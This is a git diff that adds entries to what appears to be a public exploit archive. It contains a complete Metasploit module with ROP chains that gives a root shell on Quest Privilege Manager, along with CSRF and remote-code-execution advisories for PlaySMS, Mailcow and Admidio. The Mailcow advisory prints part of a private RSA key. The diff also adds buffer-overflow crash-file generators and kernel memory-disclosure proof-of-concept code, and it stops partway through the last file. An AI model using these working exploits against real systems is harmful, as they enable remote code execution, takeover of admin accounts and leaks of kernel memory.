diff --git a/files.csv b/files.csv
index e52fcc5ba..e0374223d 100644
--- a/files.csv
+++ b/files.csv
@@ -5491,6 +5491,12 @@ id,file,description,date,author,platform,type,port
41984,platforms/multiple/dos/41984.txt,"wolfSSL 3.10.2 - x509 Certificate Text Parsing Off-by-One",2017-05-09,Talos,multiple,dos,0
41991,platforms/linux/dos/41991.py,"SAP SAPCAR 721.510 - Heap-Based Buffer Overflow",2017-05-10,"Core Security",linux,dos,0
41993,platforms/multiple/dos/41993.py,"OpenVPN 2.4.0 - Unauthenticated Denial of Service",2017-05-11,QuarksLab,multiple,dos,1194
+42001,platforms/windows/dos/42001.py,"Halliburton LogView Pro 10.0.1 - Local Buffer Overflow (SEH)",2017-05-14,Muhann4d,windows,dos,0
+42002,platforms/windows/dos/42002.txt,"Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)",2017-05-14,Muhann4d,windows,dos,0
+42006,platforms/windows/dos/42006.cpp,"Microsoft Windows 7 Kernel - Uninitialized Memory in the Default dacl Descriptor of System Processes Token",2017-05-15,"Google Security Research",windows,dos,0
+42007,platforms/windows/dos/42007.cpp,"Microsoft Windows 10 Kernel - nt!NtTraceControl (EtwpSetProviderTraits) Pool Memory Disclosure",2017-05-15,"Google Security Research",windows,dos,0
+42008,platforms/windows/dos/42008.cpp,"Microsoft Windows 7 Kernel - 'win32k!xxxClientLpkDrawTextEx' Stack Memory Disclosure",2017-05-15,"Google Security Research",windows,dos,0
+42009,platforms/windows/dos/42009.txt,"Microsoft Windows 7 Kernel - Pool-Based Out-of-Bounds Reads Due to bind() Implementation Bugs in afd.sys and tcpip.sys",2017-05-15,"Google Security Research",windows,dos,0
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
@@ -15502,6 +15508,7 @@ id,file,description,date,author,platform,type,port
41980,platforms/python/remote/41980.rb,"Crypttech CryptoLog - Remote Code Execution (Metasploit)",2017-05-09,Metasploit,python,remote,80
41992,platforms/windows/remote/41992.rb,"Microsoft IIS - WebDav 'ScStoragePathFromUrl' Overflow (Metasploit)",2017-05-11,Metasploit,windows,remote,0
41996,platforms/php/remote/41996.sh,"Vanilla Forums < 2.3 - Remote Code Execution",2017-05-11,"Dawid Golunski",php,remote,0
+42010,platforms/linux/remote/42010.rb,"Quest Privilege Manager - pmmasterd Buffer Overflow (Metasploit)",2017-05-15,Metasploit,linux,remote,0
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
@@ -37842,3 +37849,6 @@ id,file,description,date,author,platform,type,port
41989,platforms/php/webapps/41989.txt,"BanManager WebUI 1.5.8 - PHP Code Injection",2017-05-10,HaHwul,php,webapps,0
41990,platforms/php/webapps/41990.html,"Gongwalker API Manager 1.1 - Cross-Site Request Forgery",2017-05-10,HaHwul,php,webapps,0
41997,platforms/php/webapps/41997.txt,"CMS Made Simple 2.1.6 - Multiple Vulnerabilities",2017-05-10,"Osanda Malith",php,webapps,0
+42003,platforms/php/webapps/42003.txt,"PlaySms 1.4 - Remote Code Execution",2017-05-14,"Touhid M.Shaikh",php,webapps,0
+42004,platforms/php/webapps/42004.txt,"Mailcow 0.14 - Cross-Site Request Forgery",2017-05-15,hyp3rlinx,php,webapps,0
+42005,platforms/php/webapps/42005.txt,"Admidio 3.2.8 - Cross-Site Request Forgery",2017-04-28,"Faiz Ahmed Zaidi",php,webapps,0
diff --git a/platforms/linux/remote/42010.rb b/platforms/linux/remote/42010.rb
new file mode 100755
index 000000000..d938c7e03
--- /dev/null
+++ b/platforms/linux/remote/42010.rb
@@ -0,0 +1,210 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ include Exploit::Remote::Tcp
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',
+ 'Description' => %q{
+ This modules exploits a buffer overflow in the Quest Privilege Manager,
+ a software used to integrate Active Directory with Linux and Unix
+ systems. The vulnerability exists in the pmmasterd daemon, and can only
+ triggered when the host has been configured as a policy server (
+ Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
+ condition exists when handling requests of type ACT_ALERT_EVENT, where
+ the size of a memcpy can be controlled by the attacker. This module
+ only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
+ vulnerable, but not supported by this module (a stack cookie bypass is
+ required). NOTE: To use this module it is required to be able to bind a
+ privileged port ( <=1024 ) as the server refuses connections coming
+ from unprivileged ports, which in most situations means that root
+ privileges are required.
+ },
+ 'Author' =>
+ [
+ 'm0t'
+ ],
+ 'References' =>
+ [
+ ['CVE', '2017-6553'],
+ ['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
+ ],
+ 'Payload' =>
+ {
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
+ }
+ },
+ 'Arch' => ARCH_CMD,
+ 'Platform' => 'unix',
+ 'Targets' =>
+ [
+ ['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
+ {
+ exploit: :exploit_x64,
+ check: :check_x64
+ }
+ ],
+ ['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
+ {
+ exploit: :exploit_x86,
+ check: :check_x86
+ }
+ ]
+ ],
+ 'Privileged' => true,
+ 'DisclosureDate' => 'Apr 09 2017',
+ 'DefaultTarget' => 0
+ )
+ )
+
+ register_options(
+ [
+ Opt::RPORT(12345),
+ Opt::CPORT(rand(1024))
+ ]
+ )
+ end
+
+ # definitely not stealthy! sends a crashing request, if the socket dies, or
+ # the output is partial it assumes the target has crashed. Although the
+ # daemon spawns a new process for each connection, the segfault will appear
+ # on syslog
+ def check
+ unless respond_to?(target[:check], true)
+ fail_with(Failure::NoTarget, "Invalid target specified")
+ end
+
+ send(target[:check])
+ end
+
+ def exploit
+ unless respond_to?(target[:exploit], true)
+ fail_with(Failure::NoTarget, "Invalid target specified")
+ end
+
+ request = send(target[:exploit])
+
+ connect
+ print_status("Sending trigger")
+ sock.put(request)
+ sock.get_once
+ print_status("Sending payload")
+ sock.put(payload.encoded)
+ disconnect
+ end
+
+ # server should crash after parsing the packet, partial output is returned
+ def check_x64
+ head = [ 0x26c ].pack("N")
+ head << [ 0x700 ].pack("N")
+ head << [ 0x700 ].pack("N")
+ head << "\x00" * 68
+
+ body = "PingE4.6 .0.0.27"
+ body << rand_text_alpha(3000)
+
+ request = head + body
+
+ connect
+ print_status("Sending trigger")
+ sock.put(request)
+ res = sock.timed_read(1024, 1)
+ if res.match? "Pong4$"
+ return Exploit::CheckCode::Appears
+ else
+ return Exploit::CheckCode::Unknown
+ end
+ end
+
+ # server should crash while parsing the packet, with no output
+ def check_x86
+ head = [ 0x26c ].pack("N")
+ head << [ 0x700 ].pack("N")
+ head << [ 0x700 ].pack("N")
+ head << "\x00" * 68
+
+ body = rand_text_alpha(3000)
+
+ request = head + body
+
+ connect
+ print_status("Sending trigger")
+ sock.put(request)
+ begin
+ sock.timed_read(1024, 1)
+ return Exploit::CheckCode::Unknown
+ rescue ::Exception
+ return Exploit::CheckCode::Appears
+ end
+ end
+
+ def exploit_x64
+ head = [ 0x26c ].pack("N")
+ head << [ 0x700 ].pack("N")
+ head << [ 0x700 ].pack("N")
+ head << "\x00" * 68
+
+ # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
+ ropchain = [
+ 0x408f88, # pop rdi, ret
+ 0x4FA215, # /bin/sh
+ 0x40a99e, # pop rsi ; ret
+ 0, # argv @rsi
+ 0x40c1a0, # pop rax, ret
+ 0, # envp @rax
+ 0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
+ 0xcacc013, # padding
+ 0x408a98, # execve,
+ 0
+ ].pack("Q*")
+
+ body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
+ body << rand_text_alpha(1600)
+ body << ropchain
+ body << rand_text_alpha(0x700 - body.size)
+
+ head + body
+ end
+
+ def exploit_x86
+ head = [ 0x26c ].pack("N")
+ head << [ 0x108 ].pack("N")
+ head << [ 0xcc ].pack("N")
+ head << "\x00" * 68
+
+ # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
+ ropchain = [
+ 0x8093262, # ret
+ 0x73, # cs reg
+ 0x804AE2C, # execve,
+ 0xcacc013, # padding
+ 0x8136CF0, # /bin/sh
+ 0,
+ 0
+ ].pack("V*")
+
+ pivotback = 0x08141223 # sub esp, ebx ; retf
+ writable = 0x81766f8 # writable loc
+
+ body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
+ body << rand_text_alpha(104)
+ body << ropchain
+ body << rand_text_alpha(0xb4 - body.size)
+ body << [0x50].pack("V")
+ body << rand_text_alpha(0xc4 - body.size)
+ body << [pivotback].pack("V")
+ body << [writable].pack("V")
+ body << rand_text_alpha(0x108 - body.size)
+
+ head + body
+ end
+end
\ No newline at end of file
diff --git a/platforms/php/webapps/42003.txt b/platforms/php/webapps/42003.txt
new file mode 100755
index 000000000..2215a8d0f
--- /dev/null
+++ b/platforms/php/webapps/42003.txt
@@ -0,0 +1,54 @@
+# Exploit Title: PlaySMS 1.4 Code Execution using $filename and Unrestricted File Upload in sendfromfile.php
+# Date: 14-05-2017
+# Software Link: https://playsms.org/download/
+# Version: 1.4
+# Exploit Author: Touhid M.Shaikh
+# Contact: http://twitter.com/touhidshaikh22
+# Website: http://touhidshaikh.com/
+# Category: webapps
+
+1. Description
+
+Unrestricted File Upload:
+ Any registered user can upload any file because of not proper Validation of file in sendfromfile.php
+
+Code Execution using $filename
+ Now We know sendfromfile.php accept any file extension and just read content not stored in server. But there is bug when user upload example: mybackdoor.php server accept happily but not store in any folder so our shell is useless. But if User change the file name to "mybackdoor.php" to ".php" den server check for file and set some perameter $filename=".php" , U can see code below and display $filename on page.
+
+ For More Details : www.touhidshaikh.com/blog/
+
+2. Proof of Concept
+
+Login as regular user (created using index.php?app=main&inc=core_auth&route=register):
+
+Go to : http://127.0.0.1/playsms/index.php?app=main&inc=feature_sendfromfile&op=list
+
+
+ This is Form.
+----------------------------Form for upload CSV file ----------------------
+
+------------------------------Form ends ---------------------------
+
+
+-------------PHP code for set parameter ---------------------------
+
+ case 'upload_confirm':
+ $filename = $_FILES['fncsv']['name'];
+
+------------------------------php code ends ---------------------------
+
+
+$filename will be visible on page:
+----------------------Vulnerable perameter show ----------------------
+
+line 123 : $content .= _('Uploaded file') . ': ' . $filename . '';
+
+----------------------------------------------------------------------
+
\ No newline at end of file
diff --git a/platforms/php/webapps/42004.txt b/platforms/php/webapps/42004.txt
new file mode 100755
index 000000000..b6e5f0834
--- /dev/null
+++ b/platforms/php/webapps/42004.txt
@@ -0,0 +1,154 @@
+[+] Credits: John Page a.k.a hyp3rlinx
+[+] Website: hyp3rlinx.altervista.org
+[+] Source: http://hyp3rlinx.altervista.org/advisories/MAILCOW-v0.14-CSRF-PASSWORD-RESET-ADD-ADMIN.txt
+[+] ISR: ApparitionSec
+
+
+
+Vendor:
+=============
+mailcow.email
+mailcow.github.io
+
+
+
+Product:
+===========
+The integrated mailcow UI allows administrative work on your mail server instance as well as separated domain administrator and mailbox user access.
+
+
+
+Vulnerability Type:
+===================
+CSRF
+Password Reset / Add Admin / Delete Domains
+
+
+
+CVE Reference:
+==============
+CVE-2017-8928
+
+
+
+Security Issue:
+================
+mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF vulnerabilities. If authenticated mailcow user visits a malicious webpage
+remote attackers can execute the following exploits.
+
+
+1) reset admin password
+2) add arbitrary admin
+3) delete domains
+
+
+
+Other issues found in mailcow are as follows:
+
+Session fixation:
+=================
+Session ID: Pre authentication and Post auth is the same, and does not change upon successful login.
+
+ms22jsnl1dcpc4519rvpvfj0n6 - pre-authentication
+ms22jsnl1dcpc4519rvpvfj0n6 - post-authentication
+
+
+World Readable Private key "key.pem"
+====================================
+john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ whoami
+
+john
+
+john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ cat key.pem
+
+-----BEGIN RSA PRIVATE KEY-----
+MIIEpAIBAAKCAQEA0YNMU9wLfQ0m9x+TjKdytTKVwIGMqLUiuk0utXwtEBB8tnzF
+4sLOwIHMnui5+whutxXtXjdo5HZXn8vcSYr0vMucNDPItevL+c58wvH58pS9ojok
+mHyvwf6BKn1O2B+EXHoDud6AwyFGZouBa4J7u9/VVTlNWchxFahidh9mgCJKGUYx
+s7pg/WJuC1honbSicwYBbf6poVHll4qTPMNvNV5EJyVO/fsdssJyUrxGd6/2VSQu
+5G44lcPv5NeZPQsZOiJPMJidF//sVsaGaJh0CNSzNFSgEv4mlPeXZ9m6Zby+o04o
+slgG6zI0irOF2z7f3yGzonDZI+vghctDFX8shwIDAQABAoIBAQC9kiLnIgxXGyZt
+pmmYdA6re1jatZ2zLSp+DcY8ul3/0hs195IKCyCOOSQPiR520Pt0t+duP46uYZIJ
+
+etc...
+
+
+References:
+============
+https://github.com/mailcow/mailcow-dockerized/pull/268/commits/3c937f75ba5853ada175542d5c4849fb95eb64cd
+
+
+
+Exploit/POC:
+=============
+
+[Admin Password Reset]
+
+
+
+
+HTTP Response:
+
+'Changes to administrator have been saved"
+
+//////////////////////
+
+
+[Add Admin]
+
+
+
+
+////////////////////
+
+
+[Delete domains]
+
+https://localhost/mailbox.php
+domain=myDomain&trigger_mailbox_action=deletedomain
+
+
+
+Network Access:
+===============
+Remote
+
+
+
+Severity:
+=========
+Medium
+
+
+
+Disclosure Timeline:
+=================================
+Vendor Notification: May 6, 2017
+Vendor releases fix: May 6, 2017
+May 14, 2017 : Public Disclosure
+
+
+
+[+] Disclaimer
+The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
+Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
+that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
+is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
+for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
+or exploits by the author or elsewhere. All content (c).
+
+hyp3rlinx
\ No newline at end of file
diff --git a/platforms/php/webapps/42005.txt b/platforms/php/webapps/42005.txt
new file mode 100755
index 000000000..03cb206b9
--- /dev/null
+++ b/platforms/php/webapps/42005.txt
@@ -0,0 +1,74 @@
+# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users)
+# Date: 28/April/2017
+# Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website:
+http://provensec.com/
+# Vendor Homepage: https://www.admidio.org/
+# Software Link: https://www.admidio.org/download.php
+# Version: 3.2.8
+# Tested on: Windows 10 (Xampp)
+# CVE : CVE-2017-8382
+
+
+[Suggested description]
+Admidio 3.2.8 has CSRF in
+adm_program/modules/members/members_function.php with
+ an impact of deleting arbitrary user accounts.
+
+ ------------------------------------------
+
+ [Additional Information]
+ Using this crafted html form we are able to delete any user with
+admin/user privilege.
+
+
+
+
+
+
+
+[Affected Component]
+ http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php
+
+ ------------------------------------------
+
+ [Attack Type]
+ Remote
+
+ ------------------------------------------
+
+ [Impact Escalation of Privileges]
+ true
+
+ ------------------------------------------
+
+ [Attack Vectors]
+ Steps:
+ 1.) If an user with admin privilege opens a crafted
+ html/JPEG(Image),then both the admin and users with user privilege
+ which are mentioned by the user id (as like shown below) in the
+ crafted request are deleted.
+
+
+
+ 2.) In admidio by default the userid starts from '0',
+ '1' for system '2' for users, so an attacker
+ can start from '2' upto 'n' users.
+
+ 3.)For deleting the user permanently we select 'mode=3'(as like shown
+ below),then all admin/low privileged users are deleted.
+
+
+
+ ------------------------------------------
+
+ [Reference]
+ https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
+
+Thanks
+Faiz Ahmed Zaidi
+
+
diff --git a/platforms/windows/dos/42001.py b/platforms/windows/dos/42001.py
new file mode 100755
index 000000000..302837a24
--- /dev/null
+++ b/platforms/windows/dos/42001.py
@@ -0,0 +1,24 @@
+#!/usr/bin/python
+# Exploit Title : Halliburton LogView Pro 10.0.1 - Local Buffer Overflow (SEH)
+# Date : 2017-05-14
+# Exploit Author : Muhann4d
+# CVE : CVE-2017-8926
+# Vendor Homepage : http://www.halliburton.com
+# Software Link : http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe
+# Affected Versions : 10.0.1
+# Category : Denial of Service (DoS) Local
+# Tested on OS : Windows 7 Professional SP1 32bit
+# Proof of Concept : run the exploit, open the poc.tif file with the Halliburton LogView Pro 10.0.1
+
+# Vendor has been cantacted but no reply.
+
+buf = "\x41" * 848
+buff = "\x42" * 4
+bufff = "\x43" * 4
+buffff = "\x44" * 9999
+f = open ("poc.tif", "w")
+f.write(buf + buff + bufff + buffff)
+f.close()
+
+
+
diff --git a/platforms/windows/dos/42002.txt b/platforms/windows/dos/42002.txt
new file mode 100755
index 000000000..be898171f
--- /dev/null
+++ b/platforms/windows/dos/42002.txt
@@ -0,0 +1,24 @@
+#!/usr/bin/python
+# Exploit Title : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)
+# Date : 14/05/2017
+# Exploit Author : Muhann4d
+# CVE : CVE-2017-8927
+# Vendor Homepage : http://www.cgmlarson.com/
+# Software Link : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html
+# Affected Versions : 9.7.5
+# Category : Denial of Service (DoS) Local
+# Tested on OS : Windows 7 Professional SP1 32bit
+# Proof of Concept : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5
+
+# Vendor has been cantacted but no reply
+
+buf = "\x41" * 800
+buff = "\x42" * 4
+bufff = "\x43" * 4
+buffff = "\x44" * 9999
+f = open ("poc.tif", "w")
+f.write(buf + buff + bufff + buffff)
+f.close()
+
+
+
diff --git a/platforms/windows/dos/42006.cpp b/platforms/windows/dos/42006.cpp
new file mode 100755
index 000000000..9d137f460
--- /dev/null
+++ b/platforms/windows/dos/42006.cpp
@@ -0,0 +1,241 @@
+/*
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1145
+
+We have observed (on Windows 7 32-bit) that for unclear reasons, the kernel-mode structure containing the default DACL of system processes' tokens (lsass.exe, services.exe, ...) has 8 uninitialized bytes at the end, as the size of the structure (ACL.AclSize) is larger than the sum of ACE lengths (ACE_HEADER.AceSize). It is possible to read the leftover pool data using a GetTokenInformation(TokenDefaultDacl) call.
+
+When the attached proof-of-concept code is run against a SYSTEM process (pid of the process must be passed in the program argument), on a system with Special Pools enabled for ntoskrnl.exe, output similar to the following can be observed:
+
+>NtQueryInformationToken.exe 520
+00000000: 54 bf 2b 00 02 00 3c 00 02 00 00 00 00 00 14 00 T.+...<.........
+00000010: 00 00 00 10 01 01 00 00 00 00 00 05 12 00 00 00 ................
+00000020: 00 00 18 00 00 00 02 a0 01 02 00 00 00 00 00 05 ................
+00000030: 20 00 00 00 20 02 00 00[01 01 01 01 01 01 01 01] ... ...........
+
+The last eight 0x01 bytes are markers inserted by Special Pools, which visibly haven't been overwritten by any actual data prior to being returned to user-mode.
+
+While reading DACLs of system processes may require special privileges (such as the ability to acquire SeDebugPrivilege), the root cause of the behavior could potentially make it possible to also create uninitialized DACLs that are easily accessible by regular users. This could in turn lead to a typical kernel memory disclosure condition, which would allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. Since it's not clear to us what causes the abberant behavior, we're reporting it for further analysis to be on the safe side.
+
+The proof-of-concept code is mostly based on the example at https://support.microsoft.com/en-us/help/131065/how-to-obtain-a-handle-to-any-process-with-sedebugprivilege.
+*/
+
+#define RTN_OK 0
+#define RTN_USAGE 1
+#define RTN_ERROR 13
+
+#include
+#include
+
+BOOL SetPrivilege(
+ HANDLE hToken, // token handle
+ LPCTSTR Privilege, // Privilege to enable/disable
+ BOOL bEnablePrivilege // TRUE to enable. FALSE to disable
+ );
+
+void DisplayError(LPTSTR szAPI);
+VOID PrintHex(PBYTE Data, ULONG dwBytes);
+
+int main(int argc, char *argv[])
+{
+ HANDLE hProcess;
+ HANDLE hToken;
+ int dwRetVal = RTN_OK; // assume success from main()
+
+ // show correct usage for kill
+ if (argc != 2)
+ {
+ fprintf(stderr, "Usage: %s [ProcessId]\n", argv[0]);
+ return RTN_USAGE;
+ }
+
+ if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
+ {
+ if (GetLastError() == ERROR_NO_TOKEN)
+ {
+ if (!ImpersonateSelf(SecurityImpersonation))
+ return RTN_ERROR;
+
+ if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)){
+ DisplayError(L"OpenThreadToken");
+ return RTN_ERROR;
+ }
+ }
+ else
+ return RTN_ERROR;
+ }
+
+ // enable SeDebugPrivilege
+ if (!SetPrivilege(hToken, SE_DEBUG_NAME, TRUE))
+ {
+ DisplayError(L"SetPrivilege");
+
+ // close token handle
+ CloseHandle(hToken);
+
+ // indicate failure
+ return RTN_ERROR;
+ }
+
+ CloseHandle(hToken);
+
+ // open the process
+ if ((hProcess = OpenProcess(
+ PROCESS_QUERY_INFORMATION,
+ FALSE,
+ atoi(argv[1]) // PID from commandline
+ )) == NULL)
+ {
+ DisplayError(L"OpenProcess");
+ return RTN_ERROR;
+ }
+
+ // Open process token.
+ if (!OpenProcessToken(hProcess, TOKEN_READ, &hToken)) {
+ DisplayError(L"OpenProcessToken");
+ return RTN_ERROR;
+ }
+
+ DWORD ReturnLength = 0;
+ if (!GetTokenInformation(hToken, TokenDefaultDacl, NULL, 0, &ReturnLength) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
+ DisplayError(L"GetTokenInformation #1");
+ return RTN_ERROR;
+ }
+
+ PBYTE OutputBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);
+ if (!GetTokenInformation(hToken, TokenDefaultDacl, OutputBuffer, ReturnLength, &ReturnLength)) {
+ DisplayError(L"GetTokenInformation #2");
+ return RTN_ERROR;
+ }
+
+ PrintHex(OutputBuffer, ReturnLength);
+
+ // close handles
+ HeapFree(GetProcessHeap(), 0, OutputBuffer);
+ CloseHandle(hProcess);
+
+ return dwRetVal;
+}
+
+BOOL SetPrivilege(
+ HANDLE hToken, // token handle
+ LPCTSTR Privilege, // Privilege to enable/disable
+ BOOL bEnablePrivilege // TRUE to enable. FALSE to disable
+ )
+{
+ TOKEN_PRIVILEGES tp;
+ LUID luid;
+ TOKEN_PRIVILEGES tpPrevious;
+ DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES);
+
+ if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
+
+ //
+ // first pass. get current privilege setting
+ //
+ tp.PrivilegeCount = 1;
+ tp.Privileges[0].Luid = luid;
+ tp.Privileges[0].Attributes = 0;
+
+ AdjustTokenPrivileges(
+ hToken,
+ FALSE,
+ &tp,
+ sizeof(TOKEN_PRIVILEGES),
+ &tpPrevious,
+ &cbPrevious
+ );
+
+ if (GetLastError() != ERROR_SUCCESS) return FALSE;
+
+ //
+ // second pass. set privilege based on previous setting
+ //
+ tpPrevious.PrivilegeCount = 1;
+ tpPrevious.Privileges[0].Luid = luid;
+
+ if (bEnablePrivilege) {
+ tpPrevious.Privileges[0].Attributes |= (SE_PRIVILEGE_ENABLED);
+ }
+ else {
+ tpPrevious.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED &
+ tpPrevious.Privileges[0].Attributes);
+ }
+
+ AdjustTokenPrivileges(
+ hToken,
+ FALSE,
+ &tpPrevious,
+ cbPrevious,
+ NULL,
+ NULL
+ );
+
+ if (GetLastError() != ERROR_SUCCESS) return FALSE;
+
+ return TRUE;
+}
+
+void DisplayError(
+ LPTSTR szAPI // pointer to failed API name
+ )
+{
+ LPTSTR MessageBuffer;
+ DWORD dwBufferLength;
+
+ fwprintf(stderr, L"%s() error!\n", szAPI);
+
+ if (dwBufferLength = FormatMessage(
+ FORMAT_MESSAGE_ALLOCATE_BUFFER |
+ FORMAT_MESSAGE_FROM_SYSTEM,
+ NULL,
+ GetLastError(),
+ GetSystemDefaultLangID(),
+ (LPTSTR)&MessageBuffer,
+ 0,
+ NULL
+ ))
+ {
+ DWORD dwBytesWritten;
+
+ //
+ // Output message string on stderr
+ //
+ WriteFile(
+ GetStdHandle(STD_ERROR_HANDLE),
+ MessageBuffer,
+ dwBufferLength,
+ &dwBytesWritten,
+ NULL
+ );
+
+ //
+ // free the buffer allocated by the system
+ //
+ LocalFree(MessageBuffer);
+ }
+}
+
+VOID PrintHex(PBYTE Data, ULONG dwBytes) {
+ for (ULONG i = 0; i < dwBytes; i += 16) {
+ printf("%.8x: ", i);
+
+ for (ULONG j = 0; j < 16; j++) {
+ if (i + j < dwBytes) {
+ printf("%.2x ", Data[i + j]);
+ }
+ else {
+ printf("?? ");
+ }
+ }
+
+ for (ULONG j = 0; j < 16; j++) {
+ if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
+ printf("%c", Data[i + j]);
+ }
+ else {
+ printf(".");
+ }
+ }
+
+ printf("\n");
+ }
+}
\ No newline at end of file
diff --git a/platforms/windows/dos/42007.cpp b/platforms/windows/dos/42007.cpp
new file mode 100755
index 000000000..b297b72dd
--- /dev/null
+++ b/platforms/windows/dos/42007.cpp
@@ -0,0 +1,103 @@
+/*
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1161
+
+We have discovered that the handler of the nt!NtTraceControl system call (specifically the EtwpSetProviderTraitsUm functionality, opcode 0x1E) discloses portions of uninitialized pool memory to user-mode clients on Windows 10 systems.
+
+On our test Windows 10 32-bit workstation, an example layout of the output buffer is as follows:
+
+--- cut ---
+00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
+00000010: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
+00000020: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
+00000030: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
+00000040: ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 ................
+00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
+00000060: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
+00000070: ff ff ff ff 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................
+--- cut ---
+
+Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode.
+
+The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region (in this case, the special byte is 0x75, or "u"):
+
+--- cut ---
+00000000: 28 00 00 00 00 00 00 00 24 f8 f7 00 00 00 00 00 (.......$.......
+00000010: 39 00 00 00 00 00 00 00 75 75 75 75 75 75 75 75 9.......uuuuuuuu
+00000020: 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 uuuuuuuuuuuuuuuu
+00000030: 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 uuuuuuuuuuuuuuuu
+00000040: 75 75 75 75 75 75 75 75 01 00 00 00 ff 00 00 00 uuuuuuuu........
+00000050: a1 03 00 00 00 00 00 00 00 00 00 00 00 80 00 00 ................
+00000060: 00 00 00 00 00 00 00 00 75 75 75 75 75 75 75 75 ........uuuuuuuu
+00000070: 75 75 75 75 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? uuuu............
+--- cut ---
+
+Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
+*/
+
+#include
+#include
+#include
+
+extern "C"
+NTSTATUS WINAPI NtTraceControl(
+ DWORD Operation,
+ LPVOID InputBuffer,
+ DWORD InputSize,
+ LPVOID OutputBuffer,
+ DWORD OutputSize,
+ LPDWORD BytesReturned);
+
+VOID PrintHex(PBYTE Data, ULONG dwBytes) {
+ for (ULONG i = 0; i < dwBytes; i += 16) {
+ printf("%.8x: ", i);
+
+ for (ULONG j = 0; j < 16; j++) {
+ if (i + j < dwBytes) {
+ printf("%.2x ", Data[i + j]);
+ }
+ else {
+ printf("?? ");
+ }
+ }
+
+ for (ULONG j = 0; j < 16; j++) {
+ if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
+ printf("%c", Data[i + j]);
+ }
